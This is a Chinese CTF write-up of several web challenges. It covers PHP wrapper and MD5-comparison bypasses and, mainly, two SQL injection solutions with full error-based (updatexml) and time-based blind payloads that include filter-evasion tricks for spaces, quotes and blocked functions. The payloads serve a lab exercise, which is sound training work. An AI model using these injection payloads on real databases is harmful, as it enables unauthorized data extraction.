摸鱼划水玩了两天做了一点题目,现在放上wp
Web
nizhuansiwei
进入题目代码审计

发现是三层绕过:
- text,file_get_contents,利用
php://input
- file,include,
php://filter/read=convert.base64-encode/resource=useless.php
- password反序列化
先绕过前两个查看useless.php的内容





组成最后的payload得到flag,第二次失败了没截到图
Babyphp
md5强比较,数组绕过

ps:弱比较用科学计数法绕过
param1=QNKCDZO¶m2=aabg7XSs
Babysql
提示二次注入,注册admin"#1登陆改密码,登陆admin一气呵成,发现没有flag

利用改密码的update报错来进行报错注入,注入点是双引号闭合,过滤了and和空格,用+和()绕过空格过滤,or代替and
注册账号进行报错注入
admin:"or+(updatexml(0x3a,concat(1,(database())),1))# 爆库名

admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(table_name)from(information_schema.tables)where+table_schema=database())),1))# 爆表名

admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(column_name)from(information_schema.columns)where+table_name=0x666c6167)),1))# 爆flag表字段,这里用16进制绕过了单引号过滤

admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(column_name)from(information_schema.columns)where+table_name=0x7573657273)),1))# 爆users表字段

admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(real_flag_1s_here)from(users)where+locate(0x666c6167,real_flag_1s_here)>0)),1))# 爆flag,注册的用户太多,报错注入显示有限,这里用locate查找flag

录取查询
进入题目F12提示dirsearch,御剑扫后台得到backup.rar考生信息,可以登录进卡题
hint提示waf过滤空格的时间盲注,有思路
RealW'or(if(length(database())=6,sleep(4),1))# 得到库长度 RealW'or(if(left(database(),1)='s',sleep(4),1))#库名第一位是s RealW'or(if(left(database(),2)='sc',sleep(4),1))#库名第二位是c RealW'or(if(left(database(),3)='sch',sleep(4),1))#库名第三位是h 猜测为school RealW'or(if(left(database(),6)='school',sleep(4),1))#库名是school //爆表,用/**/绕过空格过滤 //过滤了mid,right,substr,用left //其实后面发现可以用left(reverse(left(str,x)),1)得到任意位 RealW'or(if(left((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),1)='f',sleep(4),1))# 爆第一个表的第一位为f //猜测为flag //错误 //猜测为fl4g //成功 RealW'or(if(left((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),4)='fl4g',sleep(4),1))#当前库第一个表是fl4g //爆字段 RealW'or(if(left((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c3467/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),1)='f',sleep(4),1))#fl4g表的第一个字段第一位是f //猜测为fl4g,成功 RealW'or(if(left((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c3467/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),4)='fl4g',sleep(4),1))#fl4g表的第一个字段是fl4g //爆flag长度 RealW'or(if(length((select/**/fl4g/**/from/**/fl4g/**/limit/**/0,1))=28,sleep(4),1))#得到长度为28 //爆flag RealW'or(if(left((select/**/fl4g/**/from/**/fl4g/**/limit/**/0,1),28)=concat('xgctf{babysq1_an','d_ruilin_nb}'),sleep(4),1))# and被过滤用concat连接字符串 //xgctf{babysq1_and_ruilin_nb},提交发现错误,发现是大小写问题 //ascii被过滤,用ord,配合left(reverse(left(str,x)),1)得到任意位的ascii码,判断每一位大小写 RealW'or(if(ord(left(reverse(left((select/**/fl4g/**/from/**/fl4g/**/limit/**/0,1),1)),1))=120,sleep(4),1))# //xgctf{babySq1_aNd_RuiLin_NB},ac
至此wp结束,有些太水没有意义的题目就不放上来了
